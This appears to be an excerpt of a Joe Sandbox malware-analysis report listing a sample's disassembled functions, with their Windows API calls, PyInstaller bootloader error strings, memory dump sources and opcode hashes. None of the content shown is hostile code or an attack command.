CloseHandle.KERNEL32 ref: 00007FF7FF5A6D0F
CreateFileW.KERNEL32 ref: 00007FF7FF5A6D44
GetLastError.KERNEL32 ref: 00007FF7FF5A6D53

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: c94df809199b81bb341f8ac31c980e2f54dd82e759c8744b17fa9702197ee3d6
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: DBC1DE36B29A8285EB10EF65C4902AC7761FB48B98F814335DA3E5B7D4DF38D421C3A0

Function 00007FF7FF5892F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7FF589323
FindClose.KERNELBASE ref: 00007FF7FF589332

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: 80f56aa61dc15b83b9b1069b43413b770e257c14297a8feb480ef5b14cc13ec1
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 5FF06822A197C186FB609F64B4497A6B750FB84769F840335DA7D036D4DF3CD059CA50

Function 00007FF7FF581950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FF587F80: _fread_nolock.LIBCMT ref: 00007FF7FF58802A

_fread_nolock.LIBCMT ref: 00007FF7FF581A1B

Part of subcall function 00007FF7FF582910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7FF581B6A), ref: 00007FF7FF58295E

Strings

Could not allocate buffer for TOC!, xrefs: 00007FF7FF581B1B
malloc, xrefs: 00007FF7FF581B22
fseek, xrefs: 00007FF7FF5819F5
MEI, xrefs: 00007FF7FF581991
fread, xrefs: 00007FF7FF581A32, 00007FF7FF581B5C
Error on file., xrefs: 00007FF7FF581B8D
calloc, xrefs: 00007FF7FF581A68
Could not read full TOC!, xrefs: 00007FF7FF581B55
Could not allocate memory for archive structure!, xrefs: 00007FF7FF581A61
Failed to read cookie!, xrefs: 00007FF7FF581A2B
Failed to seek to cookie position!, xrefs: 00007FF7FF5819EE

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: f5f5a2109c8ebe96ba65e6405a0f666f499af530aab8d8df8c5f1ddcbd1361c0
Instruction ID: e8ff027ac9776c38a0ce57b0106014e78f9e1177fbabef214dfc03ec36f5e0e7
Opcode Fuzzy Hash: f5f5a2109c8ebe96ba65e6405a0f666f499af530aab8d8df8c5f1ddcbd1361c0
Instruction Fuzzy Hash: 39818D71A096C696EB20AB24D0402F9A3A1FF48784F944631E9BD477D6EE3CE585C7E0

Function 00007FF7FF581470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF7FF58151F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FF5815DF
fseek, xrefs: 00007FF7FF5814E5
fread, xrefs: 00007FF7FF5815E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7FF581518
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FF58149F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FF5814DE

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 71bfcb70b10ac35bf551f09be6461cd7222aab54515371a44450b6461487e842
Instruction ID: 5b6b33ed697c359332aefdb7fbe7964c5e1acf495db062e22284dca0a21d8ac2
Opcode Fuzzy Hash: 71bfcb70b10ac35bf551f09be6461cd7222aab54515371a44450b6461487e842
Instruction Fuzzy Hash: EC413922A086C295EB10BB22A4405F9A390BF45794FC44A32ED7D07BE5DE3CE555CBE0

Function 00007FF7FF581210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF7FF5812C1, 00007FF7FF5812F6
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7FF581276
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7FF58141E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7FF5812EF
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7FF5812BA
1.3.1, xrefs: 00007FF7FF581249

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 7c622f44ab0603646b96b7551e00a0cf11f080941f502b7234a6157c9231b4b4
Instruction ID: fc1cdf96532a676fd4d30c97842cd2cce772d914208fd1d27e531a96dd1b30c2
Opcode Fuzzy Hash: 7c622f44ab0603646b96b7551e00a0cf11f080941f502b7234a6157c9231b4b4
Instruction Fuzzy Hash: BB51C422A09AC241EB60BB11A4403FAE291BF85794FC44331ED7E47BE5EE3CE545C7A0

Function 00007FF7FF59ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7FF59F11A,?,?,-00000018,00007FF7FF59ADC3,?,?,?,00007FF7FF59ACBA,?,?,?,00007FF7FF595FAE), ref: 00007FF7FF59EEFC
GetProcAddress.KERNEL32(?,?,?,00007FF7FF59F11A,?,?,-00000018,00007FF7FF59ADC3,?,?,?,00007FF7FF59ACBA,?,?,?,00007FF7FF595FAE), ref: 00007FF7FF59EF08

Strings

api-ms-, xrefs: 00007FF7FF59EE46
ext-ms-, xrefs: 00007FF7FF59EE59

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: 94eb0019f1b89339c6a4af6289785c40a53f72699f06dfac20263d869b6f258d
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: E641D221B196A282EB2AEB1698445F5A791BF48B90FC84739DD3D573D4EE3CE40582B0

Function 00007FF7FF5836B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7FF583804), ref: 00007FF7FF5836E1
GetLastError.KERNEL32(?,00007FF7FF583804), ref: 00007FF7FF5836EB

Part of subcall function 00007FF7FF582C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582C9E
Part of subcall function 00007FF7FF582C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582D63
Part of subcall function 00007FF7FF582C50: MessageBoxW.USER32 ref: 00007FF7FF582D99

Strings

Failed to obtain executable path., xrefs: 00007FF7FF5836F3
GetModuleFileNameW, xrefs: 00007FF7FF5836FA
\\?\, xrefs: 00007FF7FF58375A
Failed to resolve full path to executable %ls., xrefs: 00007FF7FF583739
Failed to convert executable path to UTF-8., xrefs: 00007FF7FF583790

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: f5f5644522468bfb6c97155f5e32020bca623684ed21aa1b6ac219ac407b73c0
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: A4218391B19AC251FB20BB24E8043F6A290BF48755FC40332D57EC35E5EE2CE604C7A0

Function 00007FF7FF59BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59BEF9

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ba46bac31fe72f1dd681b3566344db0dd8f54c3f22ac6e326a6392c95ac81308
Instruction ID: 83fa90cfd8c71e74b13d55bcc48a617426c8c0bf2705065cbd80c80d8286db5e
Opcode Fuzzy Hash: ba46bac31fe72f1dd681b3566344db0dd8f54c3f22ac6e326a6392c95ac81308
Instruction Fuzzy Hash: F5C1B2229087CBA1F778AB1594402FDA764EB81B80F954331EA7E037E1CE7CE95583A0

Function 00007FF7FF586350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7FF5863B7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7FF5863F7
Failed to load Python DLL '%ls'., xrefs: 00007FF7FF586497
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7FF586446
ucrtbase.dll, xrefs: 00007FF7FF5863CD
LoadLibrary, xrefs: 00007FF7FF58649E

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction ID: f91ec75b9c3450c0b2a59517a70b53743fc71900d43145115887b6c67efab9cd
Opcode Fuzzy Hash: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction Fuzzy Hash: 0F415261A19AC791EB11FB21E4582E9A365FB44344FD00232EA7D436D6EF3CE615C7E0

Function 00007FF7FF595698 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5956C5
CreateFileW.KERNELBASE ref: 00007FF7FF595704
CloseHandle.KERNEL32 ref: 00007FF7FF595739

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: ec10dbd66422ca27fc0225f291d354a09a4ba7456042b811a98854b9adaadf99
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: 74419622D187C283E768AB2095503B9A3A0FB94794F509335E67C03ED1DF7CA5F187A0

Function 00007FF7FF58CCAC Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FF58CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7FF58CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7FF58CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7FF58CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7FF58CD91

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: ca1fae4b14fc585a347e055649a00323b0caa5b68d0e0ecf03e974bd0acde9c5
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: FD313760E096C351FB24BB2594653F9AB92BF41784FC44634D97E4B2D3EE2CA409C2F0

Function 00007FF7FF599AA0 Relevance: 4.5, APIs: 3, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7FF599A9C), ref: 00007FF7FF599AB1
TerminateProcess.KERNEL32(?,?,?,00007FF7FF599A9C), ref: 00007FF7FF599ABC
ExitProcess.KERNEL32 ref: 00007FF7FF599ACB

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: db12c1a4249d1ec308ab5f48d1858cd141796b67297f7cd5fbbcd5117e5a6e2f
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: 29D09E10F097C652EB283F705C990F8A651AF48745F941638C83B073E3ED6CA45943E0

Function 00007FF7FF5901AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5901F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5902E7

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 0951bbb32cb433a8f0e7dd39feeb2b44c16743efb6b602f6ce011d5190385592
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 0451E321B092D286FB7CAA7594006FAE691AF44BA4F984B34DE7C437C5CF3CE40586A0

Function 00007FF7FF59C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7FF59C33D), ref: 00007FF7FF59C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF7FF59C33D), ref: 00007FF7FF59C1FA

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 7c911afd9b13035e3bb5ab13be8b67c065dd9d35f6a1949ead0e784c2689afca
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 0B11E3A1B18AC281DB24AB25A8441A9E761FB45BF4F944331EE7E4B7E9CF7CD0118790

Function 00007FF7FF59A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 8def72dcd44552952c8c5b4efc295f34883e1e8278225513b2ff387a4d26758e
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: CCE04F10E0968252FF287BF294951B996506F85740B854230C83D832E2DE2C689582F0

Function 00007FF7FF59ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7FF59AA45,?,?,00000000,00007FF7FF59AAFA), ref: 00007FF7FF59AC36
GetLastError.KERNEL32(?,?,?,00007FF7FF59AA45,?,?,00000000,00007FF7FF59AAFA), ref: 00007FF7FF59AC40

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
